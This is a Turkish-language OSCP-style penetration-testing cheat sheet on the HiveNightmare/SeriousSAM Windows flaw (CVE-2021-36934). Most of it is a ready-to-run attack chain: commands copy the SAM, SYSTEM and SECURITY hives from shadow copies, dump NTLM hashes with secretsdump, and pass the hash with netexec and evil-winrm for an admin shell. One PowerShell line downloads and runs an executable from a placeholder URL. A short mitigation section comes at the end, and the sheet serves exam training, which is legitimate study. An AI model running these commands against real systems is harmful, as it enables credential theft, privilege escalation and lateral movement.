FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE kolay

HiveNightmare / SeriousSAM (CVE-2021-36934) — Okunabilir SAM/SYSTEM Shadow Kopyalari

Windows 10/11'de hatali ACL'ler nedeniyle SAM, SYSTEM ve SECURITY registry hive'lari standart kullanicilar tarafindan okunabilir hale gelir. Volume Shadow Copy uzerinden bu hive'lar kopyalanip secretsdump ile yerel hesap hash'leri (Administrator dahil) cikarilir.

Bilgi: ÖN KOŞULLAR
  • Windows 10 1809+ veya Windows 11 (zafiyetli build)
  • Dusuk yetkili interaktif kullanici oturumu
  • En az bir System Restore Point / Volume Shadow Copy mevcut (genelde otomatik olusur)
  • Cikarilan hash'leri kullanmak icin SMB/WinRM erisimi (pass-the-hash)
┌──

Komutlar

icacls ✓ EXAM-SAFE user
icacls C:\Windows\System32\config\SAM
SAM hive'inin ACL'sini kontrol et; 'BUILTIN\Users:(I)(RX)' satiri varsa sistem zafiyetlidir. HackTricks — HiveNightmare (SeriousSAM)
cmd ✓ EXAM-SAFE user
vssadmin list shadows
Mevcut Volume Shadow Copy'leri listele; hive'lara erisecegimiz snapshot'i bul. HackTricks — HiveNightmare (SeriousSAM)
cmd ✓ EXAM-SAFE user
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
Shadow Copy icindeki SAM hive'ini standart kullanici olarak kopyala (canli dosya kilitli olsa da snapshot okunabilir). HackTricks — HiveNightmare (SeriousSAM)
cmd ✓ EXAM-SAFE user
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
Hash'leri sifre cozumu icin gerekli olan SYSTEM hive'ini (boot key) shadow copy'den kopyala. HackTricks — HiveNightmare (SeriousSAM)
cmd ✓ EXAM-SAFE user
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY
Cached domain creds / LSA secrets icin SECURITY hive'ini de kopyala (opsiyonel). HackTricks — HiveNightmare (SeriousSAM)
secretsdump ✓ EXAM-SAFE
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Kopyalanan hive'lardan yerel hesap NTLM hash'lerini ve LSA secret'larini offline cikar (Kali tarafinda). WADComs — Impacket secretsdump
PowerShell ✓ EXAM-SAFE user
Invoke-WebRequest -Uri {{URL}}/HiveNightmare.exe -OutFile C:\Temp\hn.exe; C:\Temp\hn.exe
GMiner/GossiTheDog HiveNightmare.exe ile tum shadow copy'lerden SAM/SYSTEM/SECURITY'yi otomatik cikar. GossiTheDog — HiveNightmare (GitHub)
netexec ✓ EXAM-SAFE
netexec smb {{RHOST}} -u Administrator -H {{NTHASH}}
Cikarilan yerel Administrator hash'i ile pass-the-hash kimlik dogrulamasini SMB uzerinden test et. NetExec Wiki — SMB pass-the-hash
evil-winrm ✓ EXAM-SAFE
evil-winrm -i {{RHOST}} -u Administrator -H {{NTHASH}}
Cikarilan hash ile WinRM uzerinden admin shell al (pass-the-hash). WADComs — Evil-WinRM PtH

Genel Bakis

HiveNightmare (resmi adi SeriousSAM, CVE-2021-36934), belirli Windows 10 (1809+) ve Windows 11 build’lerinde C:\Windows\System32\config altindaki SAM, SYSTEM ve SECURITY registry hive’larina uygulanan ACL’lerin hatali sekilde gevsek olmasidir. Normalde sadece SYSTEM ve Administrators bu dosyalari okuyabilirken, zafiyetli sistemlerde BUILTIN\Users grubuna okuma izni verilir. Bu, herhangi bir standart kullanicinin yerel hesap parola hash’lerini (yerel Administrator dahil) ele gecirip SYSTEM’a yukselmesine olanak tanir.

Canli hive dosyalari calisirken kilitli oldugundan dogrudan okunamaz; bu yuzden Volume Shadow Copy (VSS) snapshot’larindaki kopyalar kullanilir. Sistemde System Protection acik oldugunda (cogu kurulumda varsayilan) en az bir shadow copy bulunur.

Tespit / Enumeration

Zafiyeti dogrulamanin en hizli yolu ACL kontroludur:

icacls C:\Windows\System32\config\SAM

Ciktida BUILTIN\Users:(I)(RX) benzeri bir satir gorurseniz sistem zafiyetlidir. Ardindan vssadmin list shadows ile erisilebilir shadow copy’leri listeleyin ve HarddiskVolumeShadowCopyN indeksini not edin. Genellikle ilk snapshot (...ShadowCopy1) ise yarar.

Somuru

Uc hive’i da bir shadow copy’den yazilabilir bir dizine (C:\Temp) kopyalayin. \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\... yolu, kilitli canli dosyayi degil snapshot kopyasini hedefler, bu yuzden standart kullanici olarak kopyalama basarili olur. Snapshot indeksi sistemde farkliysa 1 yerine dogru numarayi kullanin.

Alternatif olarak GossiTheDog/HiveNightmare.exe veya mimikatz (misc::shadowcopies / token komutlari) tum snapshot’lari otomatik tarayarak hive’lari ceker; manuel kontrol icin yukaridaki copy yontemi sinavda en guvenilir olanidir.

Hash Cikarma ve Yanal Hareket

Kopyalanan hive’lari Kali’ye aktardiktan sonra impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL ile offline olarak NTLM hash’lerini cikarin. SYSTEM hive’i boot key icin zorunludur; SECURITY hive’i ise LSA secret’lari ve cache’lenmis kimlik bilgileri saglar. Elde edilen yerel Administrator hash’i ile pass-the-hash yaparak NetExec/evil-winrm uzerinden admin oturumu acabilir veya ayni hash’in yeniden kullanildigi diger makinelere yanal hareket edebilirsiniz.

OSCP Notlari ve Hafifletme

  • Tum adimlar manuel ve sinav guvenlidir; otomatik exploit veya Metasploit gerekmez.
  • Hash dogrudan plaintext parola degildir; ya pass-the-hash kullanin ya da hashcat -m 1000 ile kirmayi deneyin.
  • Hafifletme: icacls %windir%\system32\config\*.* /inheritance:e ile ACL’leri sifirlamak ve vssadmin delete shadows /all ile eski snapshot’lari silmek gerekir; sadece yama yetmez cunku eski shadow copy’ler hatali ACL’yi korur.
  • Shadow copy yoksa somuru calismaz; bu durumda win-sebackup-restore veya diger yontemleri degerlendirin.
┌──

Kaynaklar

0/15 set